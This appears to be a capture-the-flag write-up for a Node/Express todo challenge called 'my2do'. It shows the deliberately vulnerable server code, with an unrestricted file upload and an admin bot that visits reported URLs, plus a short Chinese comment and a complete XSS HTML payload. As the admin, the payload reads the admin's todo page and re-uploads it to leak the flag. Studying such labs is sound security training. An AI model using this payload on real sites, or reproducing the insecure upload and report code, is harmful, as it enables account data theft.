my2do
const express = require('express')
const session = require('express-session');
const crypto = require('crypto');
const vist = require("./bot");
const multer = require('multer');
const path = require('path');
const app = express();
app.set('view engine', 'ejs');
app.use(session({
secret: crypto.randomBytes(16).toString('hex'),
resave: false,
saveUninitialized: false,
cookie:{
httpOnly: true
}
}));
const storage = multer.diskStorage({
destination: function (req, file, cb) {
cb(null, 'public/uploads');
},
filename: function (req, file, cb) {
cb(null, file.originalname);
},
});
const upload = multer({ storage: storage });
app.use(express.static('public'));
const ADMIN_PASSWORD = process.env.ADMIN_PASSWORD || 'YOU DONT NO IT';
const FLAG = process.env.DASFLAG || 'flag{no_flag}';
const reportIpsList = new Map();
const now = ()=>Math.floor(+new Date()/1000)
const db = new Map();
db.set('admin', {password: crypto.createHash('sha256').update(ADMIN_PASSWORD, 'utf8').digest('hex'), todos: [{text: FLAG, isURL: false}]});
app.get("/", function (req, res) {
if (req.session.username) return res.redirect('/todo');
res.render('index', {nonce: crypto.randomBytes(16).toString('hex')})
});
app.get("/todo",function (req, res) {
if (!req.session.username) return res.redirect('/');
let username = req.session.username;
res.render('todo', {
nonce: crypto.randomBytes(16).toString('hex'),
username: username,
todos: db.get(username).todos
})
});
app.get("/api/logout", function (req, res) {
req.session.destroy();
return res.redirect('/');
});
app.post("/api/todo",express.json({ type: Object }) ,function (req, res) {
const { text } = req.body || req.query;
if (!req.session.username) return res.json({ error: "Login first!" });
let username = req.session.username;
if (!db.has(username)) return res.json({ error: "User doesn't exist!" });
if (!text || typeof text !== "string") {
return res.json({error: "Missing text"});
}
let isURL = false;
if (RegExp('^https?://.*$').test(text)) {
isURL = true;
}
db.get(username).todos.push({text: text, isURL: isURL});
return res.json({ success: true });
});
app.post("/api/register", express.json({ type: Object }), function (req, res) {
const { username, password }= req.body;
if (typeof username !== 'string') return res.json({ error: "Invalid username" });
if (typeof password !== 'string') return res.json({ error: "Invalid password" });
if (db.has(username)) return res.json({ error: "User already exist!" });
const hash = crypto.createHash('sha256').update(password, 'utf8').digest('hex');
db.set(username, {password: hash, todos: []});
req.session.username = username;
return res.json({ success: true });
});
app.post("/api/login", express.json({ type: Object }), function (req, res) {
const { username, password }= req.body;
if (typeof username !== 'string') return res.json({ error: "Invalid username" });
if (typeof password !== 'string') return res.json({ error: "Invalid password" });
if (!db.has(username)) return res.json({ error: "User doesn't exist!" });
const hash = crypto.createHash('sha256').update(password, 'utf8').digest('hex');
if (db.get(username)?.password !== hash) return res.json({ error: "Wrong password!" });
req.session.username = username;
return res.json({ success: true });
});
//deving........
app.post('/api/upload', upload.single('file'), (req, res) => {
return res.send('文件上传成功!');
});
app.post("/api/report", express.json({ type: Object }), function (req, res) {
if (!req.session.username) return res.send("Login first!");
// if(reportIpsList.has(req.ip) && reportIpsList.get(req.ip)+90 > now()){
// return res.send(`Please comeback ${reportIpsList.get(req.ip)+90-now()}s later!`);
// }
reportIpsList.set(req.ip,now());
const { url } = req.body;
if (typeof url !== 'string') return res.send("Invalid URL");
// if (!url || !RegExp('^http://127\.0\.0\.1.*$').test(url)) {
// return res.status(400).send('Invalid URL');
// }
try {
vist(url);
return res.send("admin has visted your url");
} catch {
return res.send("some error!");
}
});
app.listen(80, () => {console.log(`app run in ${80}`)});
可以上传xss的html文件让它访问,这里我本来想盗取cookie,但是似乎bot访问的时候没有带cookie?
但是上传文件有
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<title>Title</title>
</head>
<body>
<script>
fetch('/todo')
.then(response => response.text())
.then(data => {
// 将data内容创建为Blob对象,并设置文件名为flag
const blob = new Blob([data], { type: 'text/plain' });
const formData = new FormData();
formData.append('file', blob, 'flag'); // 将Blob添加到FormData,文件名为flag
// 使用fetch发送文件上传请求
fetch('/api/upload', {
method: 'POST',
body: formData,
headers: {
// 不要设置Content-Type,让fetch自动设置合适的Content-Type
},
credentials: 'include' // 这里设置为 'include' 以发送 Cookie
})
.then(response => {
if (!response.ok) {
throw new Error('上传失败');
}
return response.text();
})
.then(result => {
console.log('文件上传成功:', result);
})
.catch(error => {
console.error('上传时发生错误:', error);
});
});
</script>
</body>
</html>